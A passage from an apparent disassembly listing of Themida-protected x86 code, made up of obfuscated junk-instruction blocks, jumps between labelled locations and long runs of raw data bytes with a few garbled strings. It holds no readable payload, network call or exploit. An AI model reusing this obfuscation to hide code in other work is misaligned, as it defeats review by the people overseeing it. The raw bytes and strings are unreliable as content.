		dd 0AFE92404h, 81FFFF78h, 0F2689FE9h, 2AE98158h, 1541B24h
		dd 809DE9F9h, 0F501FFFFh, 0AE9505Eh, 0BBFFFFB2h, 5E48713Ah
		dd 0FD2E381h, 0EB8159C2h, 3151A455h, 5A5BDF01h,	0FFB439E9h
		dd 1E3168FFh, 2C890000h, 57E58924h, 4BFh, 0E9FD0100h, 137Bh
; ---------------------------------------------------------------------------


loc_54E1C8:				; CODE XREF: Themida_:00550E0Ej
		pop	edi
		jmp	loc_54B396
; ---------------------------------------------------------------------------


loc_54E1CE:				; CODE XREF: Themida_:0054D999j
		push	2476h
		mov	[esp], edi
		push	1
		pop	edi
		and	eax, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 1C0C13B4h
		dec	ecx
		shl	ecx, 5
		xor	ecx, 81827664h
		jmp	loc_54C477
; ---------------------------------------------------------------------------
		db 83h
		dd 248904ECh, 24048124h, 4, 1D24E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E215:				; CODE XREF: Themida_:00549F60j
		add	edi, 46AD5DE9h
		jmp	loc_54BE33
; ---------------------------------------------------------------------------
		dd 5A2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54549E
; ---------------------------------------------------------------------------


loc_54E22C:				; CODE XREF: Themida_:00546D10j
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54DA99
; ---------------------------------------------------------------------------
		dd 0B551AE2Ch, 2EDC058h, 2880ED80h, 46E959E8h, 31FFFF53h
		dd 0E0C15DE8h, 0FFFF2D03h, 2B05FFFFh, 50A327ABh, 0FFA0BCE9h
		dd 815D54FFh, 4C5h, 7E44E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E26E:				; CODE XREF: Themida_:0054DE41j
		add	edi, 3D70766Fh
		pop	ebx
		push	983h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		push	4AD83D56h
		jmp	loc_553F5C
; ---------------------------------------------------------------------------
		dd 172A68h, 241C8900h, 74E9E389h, 0BA000021h, 483F498Fh
		dd 3116E281h, 0E2D105B6h, 8108E2C1h, 4ECh, 24348900h, 771A00BEh
		dd 0A2A4E91Ch, 5266FFFFh, 0D30028B2h, 0E7E95A66h, 0BEFFFF6Bh
		dd 51CBA526h, 1214C681h, 0CE0140F6h, 1214EE81h,	34FF40F6h
		dd 0C4815924h, 4, 0FFD5CFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E2F1:				; CODE XREF: Themida_:00557918j
		pop	ecx
		sub	edx, ebx
		pop	ebx
		add	edx, 7D6C57EFh
		add	edx, eax
		sub	edx, 7D6C57EFh
		add	edx, 86166BDh
		push	esi
		mov	esi, 62771ACCh
		neg	esi
		and	esi, 4EAE43BAh
		add	esi, 0C98DF95h
		add	edx, esi
		pop	esi
		mov	[edx], ecx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54270C
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 5Dh
		dd 0E96F3958h, 0FFFF4529h, 582434FFh, 3ED2E9h, 7A35BB00h
		dd 43E967D4h, 1FFFF44h,	0AEE81C6h, 0FF5FCC44h, 48B2434h
		dd 4C48124h, 52000000h,	0C281E289h, 4, 6804C283h, 3300h
		dd 0E9241489h, 4359h, 0E9240C8Bh, 0FFFF44ABh, 6458B850h
		dd 0E0C16102h, 4E8C107h, 0FFB199E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E391:				; CODE XREF: Themida_:00555CECj
		pop	esi
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 497E5D2Eh
		sub	edx, 0FFFFFFFFh
		xor	edx, 497E5D2Bh
		sub	ebp, 49A634F4h
		add	ebp, edx
		add	ebp, 49A634F4h
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		shl	eax, cl
		push	eax
		push	7861h
		mov	[esp], eax
		mov	eax, 0FFFFFFFFh
		push	eax
		mov	eax, 3C813CE6h
		add	[esp+8], eax
		pop	eax
		push	ebp
		mov	ebp, 119F2905h
		sub	[esp+8], ebp
		pop	ebp
		jmp	loc_54891E
; ---------------------------------------------------------------------------
		db 5Ah
		dd 88DC8850h, 0E9583867h, 0FFFF5C59h, 8959CD01h, 162D5DE8h
		dd 0E95AAF04h, 0FFFFF69Bh, 7C5CC281h, 0C8E94B62h, 0B8000007h
		dd 2, 1E45E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E419:				; CODE XREF: Themida_:00553A5Fj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_5551A9
; ---------------------------------------------------------------------------
		dw 0CF01h
		dd 5AC0EF81h, 815953E3h, 9F7184E9h, 0C0FDE962h,	0E700FFFFh
		dd 3E0458h, 0E93E2CF8h,	0FFFFE1A1h, 81E78957h, 4C7h, 4C78100h
		dd 87000000h, 685C243Ch, 1F51h,	68241489h, 2AE8h, 517568h
		dd 5D3C6800h, 24890000h, 50A1E924h, 8B660000h, 30682404h
		dd 89000042h, 0E6892434h, 809DE9h, 80D7F600h, 0EF80E4E7h
		dd 217DE940h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E4A2:				; CODE XREF: Themida_:00549A18j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_545691
; ---------------------------------------------------------------------------
aRho		db 'RhŽ$',0
		align 4
		dd 68241C89h, 151C23A0h, 40CB815Bh, 432E490Fh, 0F7EB8143h
		dd 532C0918h, 8124148Bh, 4C4h, 0BEE95B00h, 0FF00005Eh
		dd 58042474h, 0E924048Fh, 0CD4h
; ---------------------------------------------------------------------------


loc_54E4E8:				; CODE XREF: Themida_:00547302j
		pop	esp
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_54DE70
; ---------------------------------------------------------------------------


loc_54E4F7:				; CODE XREF: Themida_:0054B806j
		pop	ebp
		push	eax
		jmp	loc_545C64
; ---------------------------------------------------------------------------
		dw 0C87h
aLSY		db '$‹$$é',1Bh,'y',0
		dd 24148B00h, 4C481h, 57500000h, 0FFE1DBE9h, 243C87FFh
		dd 8924248Bh, 31E92414h, 5EFFFF89h, 5AFDC181h, 0D9016596h
		dd 5AFDE981h, 1C8B6596h, 4C48324h, 8702C183h, 248B240Ch
		dd 4B26E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E54A:				; CODE XREF: Themida_:00554D3Aj
		mov	eax, 0DEFAF717h
		add	esi, eax
		pop	eax
		add	edx, esi
		pop	esi
		jmp	loc_5521B6
; ---------------------------------------------------------------------------
		dw 0FC35h
		dd 29048A15h, 5E3FE9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E566:				; CODE XREF: Themida_:00550DD0j
		xor	edx, ebp
		jmp	loc_555FB7
; ---------------------------------------------------------------------------
		db 56h,	2 dup(0E9h)
		dd 59FFFFDAh, 524DE9h, 243C8B00h, 4C481h, 1C870000h, 24248B24h
		dd 24042166h, 417AE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E592:				; CODE XREF: Themida_:00554695j
		add	ecx, 0DEA7FECh
		and	ecx, 2876638Ah
		or	ecx, 4E4D6A0Dh
		add	ecx, 163B7EEh
		or	ebx, ecx
		jmp	loc_54EA11
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 36h
		dd 10654CFh, 0BA525FF9h, 4, 875AD129h, 248B240Ch, 24348924h
		dd 0FF7AB6E9h, 0B8504BFFh, 53C963B2h, 8158C301h, 0E63A3FC3h
		dd 0E9DA89C1h, 8767h, 0E9243489h, 0FFFFA6A9h, 4B850h, 6AE90000h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54E5FB:				; CODE XREF: Themida_:0054CA01j
		sub	esp, 4
		jmp	loc_546C2E
; ---------------------------------------------------------------------------


loc_54E606:				; CODE XREF: Themida_:00545BDFj
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_551944
; ---------------------------------------------------------------------------
		db 68h
		dd 33E91026h, 85C5E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E622:				; CODE XREF: Themida_:00542728j
		inc	bl
		or	bl, 57h
		shr	bl, 6
		and	bl, 3Eh
		jmp	loc_54FE3F
; ---------------------------------------------------------------------------


loc_54E632:				; CODE XREF: Themida_:005554A4j
		pop	edi
		add	edx, ebp
		mov	ebp, [esp]
		jmp	loc_546803
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0FFCD96E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E645:				; CODE XREF: Themida_:0054B5F5j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebx
		push	164D7969h
		jmp	loc_552EDF
; ---------------------------------------------------------------------------
		db 56h
		dd 56EDB951h, 0C1815BA7h, 0D3561316h, 38E9CE89h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54E66B:				; CODE XREF: Themida_:00547006j
		shr	dx, 4
		push	bp
		mov	bp, 6B7Fh
		jmp	loc_548737
; ---------------------------------------------------------------------------


loc_54E67A:				; CODE XREF: Themida_:0054D101j
		add	edi, esi
		pop	esi
		push	76B1h
		jmp	loc_556468
; ---------------------------------------------------------------------------
		db 29h
		dd 357E9D8h, 0C4810000h, 4, 0FF5481E9h,	0DEE81FFh, 81007D33h
		dd 4453C0C6h, 81EE292Bh, 4453C0EEh, 0DC6812Bh, 81007D33h
		dd 0A4349EEh, 33EE8151h, 50778A5Ah, 877714B8h, 3E4F0522h
		dd 0C2256006h, 25355C39h, 0BF13CECh, 2D02E0C1h,	0D51FBD6Ah
		dd 0FFD072E9h, 53E957FFh, 5DFFFFBFh, 0FFF99FE9h, 0D553BEFFh
		dd 85E91613h, 0FF000054h, 669D1C77h, 2414D359h,	4006E99Ch
		dd 815CFFFFh, 4ECh, 243C8900h, 89585DBFh, 0BE5662h, 0E9000000h
		dd 4326h, 80B9CD80h, 0E4E9B6EDh
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54E72B:				; CODE XREF: Themida_:0054D54Bj
		add	bl, 4Eh
		push	small 20h
		mov	[esp], ax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_55198F
; ---------------------------------------------------------------------------


loc_54E746:				; CODE XREF: Themida_:00544E91j
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_555E72
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0BF243C89h, 228C720Eh, 4247C31h, 0E35585Fh, 5E228C72h
		dd 8904EC83h, 0A8B9240Ch, 681DB829h, 7B44h, 0FFDB61E9h
		dd 4C481FFh, 0E9000000h, 0FFFF3FB5h
; ---------------------------------------------------------------------------


loc_54E79C:				; CODE XREF: Themida_:00546058j
		push	4FB273C7h
		mov	edx, [esp]
		add	esp, 4
		not	edx
		push	esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5558B4
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 33240C31h, 248B240Ch, 8814E924h, 8868FFFFh, 89000061h
		dd 2BA2414h, 53000000h,	36025968h, 2D5B43h, 50EBC2Ch, 1E5508B4h
		dd 0B42DD801h, 561E5508h, 4441A0BEh, 804BE97Dh,	0D5E90000h
		db 3Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E837:				; CODE XREF: Themida_:00553406j
		pop	esp
		not	edx
		jmp	loc_553862
; ---------------------------------------------------------------------------
		db 1
aIlS5		db 'ë‹,$éš5',0
		dd 4875A00h, 34FF5C24h,	24048B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		push	905035Ah
		jmp	loc_544C47
; ---------------------------------------------------------------------------
		dw 28BEh
		dd 81278209h, 307CBCE6h, 81DEF726h, 0FFF7D4EEh,	5EF389D9h
		dd 4245C01h, 0FFE99EE9h, 24048FFFh, 0CD27E952h,	0C581FFFFh
		dd 4, 2474FF55h, 48F5D04h, 0E9DCE924h, 148BFFFFh, 4C48124h
		dd 5000000h, 7A3867E9h,	0E92DC801h, 597A3867h, 8B240487h
		dd 8B662424h, 9A68240Ch, 89000006h, 8B54240Ch, 54E9240Ch
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E8CF:				; CODE XREF: Themida_:005525E7j
		mov	bl, al
		pop	eax
		jmp	loc_54DBF1
; ---------------------------------------------------------------------------


loc_54E8D7:				; CODE XREF: Themida_:0054AB14j
		push	edi
		push	3ABE187Ch
		pop	edi
		xor	edi, 0C8F711Bh
		mov	edx, edi
		pop	edi
		sub	[esp+4], edx
		pop	edx
		pop	ebx
		jmp	loc_54D208
; ---------------------------------------------------------------------------


loc_54E8F2:				; CODE XREF: Themida_:00554FD0j
		shr	esi, 4
		xor	esi, 12976941h
		xchg	ebp, esi
		jmp	loc_54697F
; ---------------------------------------------------------------------------


loc_54E902:				; CODE XREF: Themida_:005517B4j
		mov	ebp, 601067FCh
		mov	ebx, ebp
		pop	ebp
		xor	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		push	eax
		push	esi
		mov	esi, 32E3515h
		not	esi
		jmp	loc_554EE5
; ---------------------------------------------------------------------------


loc_54E922:				; CODE XREF: Themida_:0054DCD2j
		add	ebx, 8BAF8478h
		mov	eax, ebx
		pop	ebx
		sub	ebx, eax
		pop	eax
		or	edi, ebx
		jmp	loc_543339
; ---------------------------------------------------------------------------
		db 4, 0DAh, 0
		dd 0E9DA2CD8h, 0FFFFADB5h
; ---------------------------------------------------------------------------


loc_54E940:				; CODE XREF: Themida_:00546764j
		push	26FDh
		mov	[esp], edi
		push	ecx
		push	ebx
		add	dword ptr [esp], 1FA4565Ah
		pop	ecx
		sub	ecx, 1FA4565Ah
		mov	edi, ecx
		pop	ecx
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, eax
		jmp	loc_54D49E
; ---------------------------------------------------------------------------
		dd 1C8BD801h, 4C48324h,	3F69E952h, 54BEFFFFh, 13BF0A4h
		dd 0C1295EF0h, 0E9CE0158h, 0AB1h
; ---------------------------------------------------------------------------


loc_54E99C:				; CODE XREF: Themida_:00555BD2j
		push	edx
		push	ebp
		pop	edx
		push	dword ptr [esp]
		jmp	loc_553C98
; ---------------------------------------------------------------------------


loc_54E9A7:				; CODE XREF: Themida_:0055248Aj
		pop	ecx
		mov	ecx, [esp]
		jmp	loc_54A404
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFF9392h, 6F0F68h, 2A96E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E9C2:				; CODE XREF: Themida_:0054B412j
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_54270C
; ---------------------------------------------------------------------------
		db 0BAh, 0C2h, 87h
		dd 0FA2950E2h, 0FF3D50E9h, 4EC81FFh, 89000000h,	0AAE9241Ch
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E9F3:				; CODE XREF: Themida_:005571B8j
		jmp	loc_54270C
; ---------------------------------------------------------------------------
		dd 0C42CFEBDh, 545B2D58h, 0E829713Ch, 3C545B05h, 242C8B71h
		dd 0FFFD80E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EA11:				; CODE XREF: Themida_:0054E5ACj
		pop	ecx
		xor	ebx, 32907D1Bh
		xor	ebx, 94CDF6F4h
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esi, 598959EBh
		add	esi, ecx
		add	esi, 598959EBh
		jmp	loc_551F7D
; ---------------------------------------------------------------------------


loc_54EA39:				; CODE XREF: Themida_:0054D3E3j
		add	ebp, 4EE85EF7h
		inc	ebp
		shl	ebp, 2
		push	0
		sub	[esp], ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	ebp, 0E178873Ch
		push	esi
		mov	esi, ebp
		mov	ebx, esi
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54F5B9
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFFA5BCh, 0E904C483h, 42ECh
; ---------------------------------------------------------------------------


loc_54EA84:				; CODE XREF: Themida_:005531C5j
		push	ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_543963
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C4h
		dd 4, 8904EC83h, 0EEB1240Ch, 0C8BC800h,	7E396824h, 14890000h
		dd 2CE95024h, 0F700005Ch, 3F16E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EAB6:				; CODE XREF: Themida_:00548FC4j
		pop	ebp
		jmp	loc_5564FA
; ---------------------------------------------------------------------------


loc_54EABC:				; CODE XREF: Themida_:005571DCj
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_548441
; ---------------------------------------------------------------------------
		db 54h
		dd 6824148Bh, 34D0h, 89240C89h,	1ABF57E1h, 5636756Ch, 1702EBEh
		dd 93B95104h, 490DC12Eh, 0E9595251h, 1BD7h
; ---------------------------------------------------------------------------


loc_54EAF4:				; CODE XREF: Themida_:005529F9j
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_54AD68
; ---------------------------------------------------------------------------


loc_54EB0B:				; CODE XREF: Themida_:00551520j
		add	esi, 6E10CFFFh
		sub	ebp, esi
		jmp	loc_546423
; ---------------------------------------------------------------------------
		dd 6521C181h, 515E0441h, 42474FFh, 24048F59h, 0E924248Bh
		dd 0FFFFBE31h, 9927C181h, 0C801BBFDh, 58C58959h, 2D0C581h
		dd 0ED811ACAh, 2F147F54h, 75F4C681h, 84E908B8h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54EB53:				; CODE XREF: Themida_:005456E1j
		pop	ebx
		jmp	loc_55222E
; ---------------------------------------------------------------------------


loc_54EB59:				; CODE XREF: Themida_:005515EAj
		dec	edi
		push	4A43h
		mov	[esp], ecx
		mov	ecx, 5B380676h
		shl	ecx, 1
		dec	ecx
		push	edx
		mov	edx, 7A9D1E17h
		dec	edx
		xor	edx, 76875401h
		xor	edx, 0C065AA9h
		sub	ecx, edx
		pop	edx
		and	ecx, 75684410h
		xor	ecx, 0C07466Ch
		add	edi, ecx
		pop	ecx
		push	ecx
		jmp	loc_551FD8
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 2Ah
		dd 0F7000002h, 6FF42DD0h, 1A35097Eh, 29DDB96Bh,	575E58C2h
		dd 0FF49BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EBB1:				; CODE XREF: Themida_:00556D6Fj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_542B5F
; ---------------------------------------------------------------------------
		db 68h
		dd 313Dh, 0BB241C89h, 216D144Ch, 5103EBC1h, 0BF7AC5B9h
		dd 4CC18177h, 0C133AF06h, 0D1F708E9h, 0FFD451E9h, 48B66FFh
		dd 1C0F6824h, 0C890000h, 0A9E6824h, 0A9E90000h,	81000022h
		dd 8C7542F1h, 0E9E9872Ch, 25ECh, 4ED81h, 2C870000h, 34895C24h
		dd 2474FF24h, 48F5E04h,	2BE95C24h, 58FFFFDAh, 0DAE7E951h
		dd 0C5E9FFFFh, 89FFFF3Ah, 0E82959CDh, 4EC835Dh,	0E9240C89h
		dd 1254h, 0E9028864h, 0FFFF3AACh, 63685755h, 0E9393557h
		dd 0FFFFB3DAh, 241C875Ah, 780CE9h, 0E2895200h, 2DE95753h
		dd 500008Ah, 4A062746h,	0FFDC63E9h, 58C601FFh, 0F9FE9h
		dd 0E9EB3100h, 0FFFFA3F8h, 0A2BA525Dh, 215C414Bh, 0EC835AD6h
		dd 0CFE904h, 0E7890000h, 4C781h, 0BCE90000h, 2CFFFF6Eh
		dd 0A10417h, 0B55166D0h, 7742E9A1h, 0EB81FFFFh,	3CCF086Ch
		dd 0C381D329h, 3CCF086Ch, 527CEB81h, 0E9534D74h, 529Fh
		dd 5CFAE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54ECE6:				; CODE XREF: Themida_:0054DEA4j
		or	ebx, 115853E0h
		jmp	loc_54B2EF
; ---------------------------------------------------------------------------
		db 0E9h, 16h, 3Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ECF6:				; CODE XREF: Themida_:00555FB9j
		mov	esi, edx
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_54C44D
; ---------------------------------------------------------------------------


loc_54ED06:				; CODE XREF: Themida_:00550E5Fj
		push	edi
		push	ecx
		mov	ecx, 4
		mov	edi, ecx
		jmp	loc_5503B8
; ---------------------------------------------------------------------------
		dd 0D6939DBDh, 4EC83A4h, 0B9240C89h, 2AE10396h,	8159CE29h
		dd 4ECh, 243C8900h, 0FF57D7BFh,	78C78179h, 0E952AD24h
		dd 547Fh, 9D2819BBh, 94EB8173h,	137F6F4h, 0E9815BD9h, 405F01ABh
		dd 35E9C101h, 8900000Eh, 0B2522404h, 0E951661Ch, 0FFFF3DCEh
		dd 78E4E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ED6E:				; CODE XREF: Themida_:00545542j
		push	ecx
		mov	ecx, 5E716EF8h
		jmp	loc_5566C1
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FE8E4EBAh, 0C2EE81DDh, 81202A02h, 5B0E1BC6h, 81D62919h
		dd 5B0E1BEEh, 0C2C68119h, 0FF202A02h, 505A2434h, 0FF680EE9h
		dd 2474FFFFh, 48F5804h,	24248B24h, 240C8B66h, 705A68h
		dd 8AF0E900h, 5954FFFFh, 0FFDB03E9h, 240481FFh,	16223BACh
		dd 0ACEA815Ah, 5F16223Bh, 148BD629h, 4C48324h, 0FF4673E9h
		dd 2C895CFFh, 5D32BD24h, 6EE90103h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EDEF:				; CODE XREF: Themida_:00550A9Dj
		mov	ebx, esp
		jmp	loc_557AE3
; ---------------------------------------------------------------------------


loc_54EDF6:				; CODE XREF: Themida_:00548318j
		xor	edi, [esp]
		jmp	loc_5441FC
; ---------------------------------------------------------------------------
		dw 38B8h
		dd 810A934Fh, 0E5E94C1h, 68C1013Ch, 7BDBh, 0FF7196E9h
		dd 4C481FFh, 83000000h,	48904ECh, 50585324h, 0FF9CE2E9h
		dd 815F58FFh, 0F31FCFC5h, 7E5CE9A9h, 3487FFFFh,	24248B24h
		dd 8904EC83h, 0E0892404h, 4BD55h, 0E8010000h, 45F1E95Dh
		dd 0CB800000h, 86E380BDh, 0FE9ECB80h, 0B4C380C3h, 2C5BD828h
		dd 66D8002Fh, 2FB151h, 0C8B66C8h, 2C48324h, 34FF5304h
		dd 21E95B24h
		db 4Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EE7F:				; CODE XREF: Themida_:0054A4B7j
		pop	eax
		push	393Fh
		mov	[esp], edx
		mov	edx, 654A4824h
		jmp	loc_543B51
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0FF66242Ch, 0E9022474h, 0FFFF9413h
; ---------------------------------------------------------------------------


loc_54EEA0:				; CODE XREF: Themida_:005515F3j
		mov	esi, esp
		add	esi, 4
		push	72E8h
		jmp	loc_5444E6
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 0C3814302h, 7911FE60h, 5035E9h, 24248B00h, 0B0240489h
		dd 24282C21h, 7E0C040h,	48B15166h, 5966C800h, 8058C588h
		dd 0D5F68DE5h, 5005EDC0h, 2DCBE9h, 0E9E18900h, 0FFFFED52h
		dd 4C281h, 0C2810000h, 4, 31241433h, 14332414h,	24248B24h
		dd 0FF64D7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EF0D:				; CODE XREF: Themida_:005519A1j
		sub	esi, eax
		sub	esi, 7FE37045h
		pop	eax
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	dh, 85h
		mov	cl, 0D2h
		sub	cl, dh
		pop	edx
		mov	al, cl
		pop	ecx
		jmp	loc_54C1C4
; ---------------------------------------------------------------------------


loc_54EF2D:				; CODE XREF: Themida_:0054B476j
		pop	eax
		pop	ebx
		sub	dword ptr [esp], 0AE37929h
		sub	dword ptr [esp], 1EBD0DFAh
		jmp	loc_545C47
; ---------------------------------------------------------------------------


loc_54EF42:				; CODE XREF: Themida_:00552D94j
		mov	esi, ecx
		pop	ecx
		xor	esi, 63FA7215h
		not	esi
		add	esi, 23672570h
		jmp	loc_54F0D8
; ---------------------------------------------------------------------------
		dd 677EEB81h, 34FF20B7h, 0C4835824h, 0C6EA8104h, 81204F44h
		dd 0C274C4EAh, 81DA012Fh, 0C274C4C2h, 0C6C2812Fh, 5B204F44h
		dd 52CDE9h, 24348900h, 0C6815E54h, 4, 0BB535250h, 51344F83h
		dd 0E904EBC1h, 0FFFF9B54h, 0B753C4FEh, 5B83E929h, 0C281FFFFh
		dd 4, 8704EA83h, 895C2414h, 55E9242Ch, 83FFFFFDh, 0D82104C4h
		dd 1C77FF5Bh, 68240C8Bh, 6440h,	54240489h, 7D11E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54EFDA:				; CODE XREF: Themida_:0054A741j
		push	ebp
		mov	ebp, 38A7394Dh
		xor	ebp, 2856D57h
		sub	ebx, ebp
		pop	ebp
		inc	ebx
		xor	ebx, 52C2859Bh
		add	esi, ebx
		pop	ebx
		add	esi, edx
		jmp	loc_5546B1
; ---------------------------------------------------------------------------


loc_54EFFA:				; CODE XREF: Themida_:00544697j
		mov	ecx, 67A9296Bh
		mov	ebx, 412F2E2Ah
		xor	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_552742
; ---------------------------------------------------------------------------


loc_54F014:				; CODE XREF: Themida_:005463E9j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54D68A
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
aUrhkg		db 'URhªG',0
		dw 8900h
		dd 5568241Ch, 0E9000058h, 0FFFF996Ch, 81242C8Bh, 4C4h
		dd 4EC8300h, 55241C89h,	0EC7AE4BDh, 0DDF74D69h,	851FB850h
		dd 0C5319613h, 0FFA327E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F059:				; CODE XREF: Themida_:00547011j
		xor	edi, 57EB1602h
		mov	ebx, edi
		pop	edi
		shr	ebx, 1
		push	eax
		mov	eax, 718F3160h
		sub	ebx, eax
		pop	eax
		push	ecx
		jmp	loc_54AE38
; ---------------------------------------------------------------------------
		db 21h
		dd 24048BC3h, 29DE9h, 241C3300h, 0E924248Bh, 0FFFFBBF0h
		dd 8036EE80h, 0F50002C6h, 0FF7D5BE9h, 0E9EE87FFh, 2ADh
; ---------------------------------------------------------------------------


loc_54F09C:				; CODE XREF: Themida_:00551013j
		xor	ebp, 5742CEDh
		jmp	loc_55150B
; ---------------------------------------------------------------------------
		db 33h
		dd 34312434h, 24343324h, 0E924248Bh, 0FFFFED11h, 8124048Bh
		dd 4C4h, 0FFF03000h, 0E95A2434h, 5508h,	42474FFh, 0E924148Bh
		dd 3E60h
; ---------------------------------------------------------------------------


loc_54F0D8:				; CODE XREF: Themida_:0054EF53j
		add	esi, 0DE2ECDB1h
		xor	ecx, esi
		pop	esi
		push	ebp
		mov	ebp, ecx
		mov	edx, ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4


loc_54F0ED:				; CODE XREF: Themida_:loc_54298Ej
					; Themida_:005540B7j
		push	edx
		push	esp
		jmp	loc_549731
; ---------------------------------------------------------------------------
		dd 1382C681h, 0F3893E9Eh, 0F9A1BD5Eh, 0DD01369Ah, 0DDF7455Bh
		dd 2B97BF57h, 0BE562B2Ch, 717E1D29h, 13F6ED81h,	45E95D2Ch
		dd 0B5000049h, 73B65295h, 148BF530h, 0E6895624h, 0E6685055h
		dd 584D8848h, 0F1504F2Dh, 2E78E901h, 39BB0000h,	0E9776119h
		dd 61A1h
; ---------------------------------------------------------------------------


loc_54F148:				; CODE XREF: Themida_:00548F2Dj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5458FA
; ---------------------------------------------------------------------------


loc_54F15F:				; CODE XREF: Themida_:00551B25j
		mov	esi, 4
		jmp	loc_546195
; ---------------------------------------------------------------------------
		db 0BEh, 96h, 66h
		dd 0EEC135E7h, 0FF7EE905h, 489FFFFh, 7CF1E924h,	0CCB90000h
